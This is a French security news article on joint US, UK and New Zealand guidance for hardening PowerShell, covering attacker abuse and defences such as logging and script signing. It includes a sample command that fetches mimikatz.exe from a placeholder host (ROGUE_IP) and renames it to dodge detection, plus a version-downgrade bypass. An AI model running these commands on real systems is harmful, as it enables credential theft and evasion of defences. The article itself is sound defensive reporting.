PowerShell est l’un des outils les plus couramment utilisés par les hackers dans les attaques dites « living off the land », au cours desquelles des acteurs malveillants utilisent les propres outils d’une organisation contre elle.
Cette semaine, les agences américaines de cybersécurité se sont associées à leurs homologues du Royaume-Uni et de Nouvelle-Zélande pour proposer des recommandations afin que les organisations puissent utiliser PowerShell en toute sécurité.
PowerShell est un outil en ligne de commande et un langage de script associé, construit sur le framework .NET. Initialement conçu pour Windows, Microsoft l’a publié en open source en 2016. Si la plupart des administrateurs l’utilisent pour appliquer des correctifs aux systèmes et exécuter des scripts, PowerShell est également un outil classique de l’arsenal des hackers ; les défenseurs et les pentesters doivent donc le maîtriser.
La Cybersecurity and Infrastructure Security Agency (CISA) des États-Unis a annoncé une fiche d’information conjointe sur la cybersécurité (CIS), élaborée par les autorités de cybersécurité des États-Unis, de Nouvelle-Zélande et du Royaume-Uni au sujet de PowerShell, dans l’espoir d’aider les défenseurs à détecter les abus de PowerShell tout en permettant ses utilisations légitimes.
La CISA, la NSA et leurs homologues britanniques et néo-zélandais invitent les utilisateurs et les administrateurs à consulter les recommandations, Conserver PowerShell : mesures à prendre et à adopter, un document PDF de 8 pages qui répertorie des mesures concrètes pour atténuer les attaques.
Voir les principaux outils de sécurité Active Directory
Comment les attaquants utilisent PowerShell
Les tactiques varient, mais les hackers obtiennent généralement un accès initial (par exemple après une attaque de phishing) avant d’utiliser PowerShell pour cibler Active Directory (AD) ou d’autres systèmes critiques.
Si les administrateurs ne restreignent pas les attributs, méthodes et fonctionnalités d’AD, les hackers peuvent voler des identifiants ou élever leurs privilèges afin d’exfiltrer des données ou d’installer des logiciels malveillants. À l’inverse, si PowerShell est trop limité ou désactivé, les administrateurs ne pourront pas « contribuer à la maintenance des systèmes, à l’analyse forensique, à l’automatisation et à la sécurité », selon le document de recommandations.
Les pentesters peuvent tenter diverses attaques à l’aide de PowerShell, car la console accepte pratiquement tout ce qui fonctionne avec cmd.exe, y compris les anciens scripts et les fichiers .bat. Une approche courante consiste toutefois à télécharger des ressources depuis une adresse IP externe :
Invoke-WebRequest “http://ROGUE_IP:80/mimikatz.exe” -OutFile “legitimateexec.exe”
Remarque : dans la commande ci-dessus, « mimikatz.exe » ne devient pas légitime une fois écrit sur le système ; il est simplement renommé pour échapper aux mécanismes de détection basiques (ce qui suffit malheureusement souvent).
Il s’agit d’un exemple très basique, mais dans des conditions réelles, les hackers peuvent dissimuler du code malveillant à l’aide de base64 ou d’une obfuscation plus sophistiquée.
Bien sûr, ce n’est pas la seule attaque possible. Il est possible d’énumérer les tâches planifiées, de répertorier les membres et les administrateurs, de récupérer les variables d’environnement, de lire l’historique, de contourner les politiques, de désactiver la surveillance, d’injecter du code malveillant en mémoire et d’accomplir des tâches plus complexes.
À lire également : Comment les hackers échappent à la détection
Comment les utilisateurs et les administrateurs peuvent sécuriser PowerShell
Certaines attaques PowerShell sont particulièrement difficiles à détecter. Les défenseurs peuvent utiliser des outils EDR ou d’autres produits de sécurité pour les atténuer.
Ces attaques PowerShell sont attrayantes pour les hackers, car elles permettent d’élever rapidement les privilèges dans les environnements permissifs. En d’autres termes, il s’agit d’un outil légitime qui peut donner accès aux systèmes locaux et distants du réseau.
Les utilisateurs et les administrateurs peuvent renforcer considérablement leurs systèmes en rejetant les scripts non signés et en limitant l’exécution des scripts.
Selon le document, ils devraient également désactiver et désinstaller les versions obsolètes de PowerShell afin de réduire la plupart des abus commis par les attaquants. En outre, les versions récentes disposent de fonctionnalités de sécurité intégrées renforcées pour la prévention, la détection et l’authentification, comme les fonctions de protection des identifiants de PowerShell.
La journalisation des activités de PowerShell est également recommandée. Par exemple, le module Deep Script Block Logging (DSBL) peut permettre d’enregistrer les commandes Invoke suspectes utilisées par les hackers lors de leurs attaques.
Si vous devez exécuter des tâches à distance, utilisez SSH, qui est sécurisé dès sa conception, contrairement à certains protocoles.
La capture d’écran ci-dessous répertorie les fonctionnalités incluses dans les versions récentes de PowerShell que les équipes de sécurité et les défenseurs peuvent utiliser :
Soyez attentifs aux techniques courantes de contournement
Vous pouvez consulter la stratégie d’exécution de PowerShell en saisissant :
Get-ExecutionPolicy
Elle est censée limiter ce qui peut ou non être exécuté, ce qui est particulièrement recommandé pour bloquer les scripts téléchargés depuis Internet. Il existe toutefois des techniques connues pour contourner les restrictions, modifier la stratégie d’exécution afin d’élever les privilèges, voire la désactiver si nécessaire.
Vous pouvez utiliser une commande comme la suivante pour modifier la stratégie :
Set-ExecutionPolicy $Policy -Force
Le problème est que la commande ci-dessus peut être exécutée par un utilisateur légitime pour effectuer des tâches d’administration ; il n’est donc pas possible de la désactiver sans inconvénient. Pour des raisons évidentes, tous les utilisateurs ne devraient pas être autorisés à l’exécuter. L’analyse comportementale peut aider à repérer ce type d’activité inhabituelle dans les comptes utilisateurs.
Par ailleurs, n’utilisez pas les fonctionnalités de sécurité de PowerShell à l’aveugle. Par exemple, AMSI (Anti-Malware Scan Interface) est une fonctionnalité de sécurité de PowerShell qui permet son intégration aux produits antimalware, mais elle repose sur une DLL (amsi.dll) qui peut être exploitée.
En outre, les attaquants ont appris comment fonctionnent les fonctionnalités de sécurité et comment les contourner. L’attaque par rétrogradation de PowerShell est un contournement courant utilisé pour supprimer des fonctionnalités de sécurité :
PowerShell -Version 2
Les hackers peuvent même utiliser un outil automatisé tel que Unicorn pour mener ces attaques.
À lire également : À quelques clics du désastre des données : l’état de la sécurité des entreprises
Aucune solution infaillible
Comme toujours, il n’existe pas de solution miracle. Utiliser les dernières versions de PowerShell et restreindre la stratégie d’exécution ne bloquera pas les attaques les plus sophistiquées, qui peuvent détourner des fonctionnalités natives tout en restant indétectables.
Cela reste toutefois une étape importante vers une meilleure sécurité, car de nombreux réseaux d’entreprise négligent la phase post-exploitation, ce qui facilite relativement l’énumération d’AD et d’autres abus pour les hackers. La défense en profondeur est efficace et il n’existe aucune raison valable de ne pas renforcer vos configurations.
À lire ensuite : Tester et évaluer les systèmes SIEM : analyse de Rapid7 InsightIDR





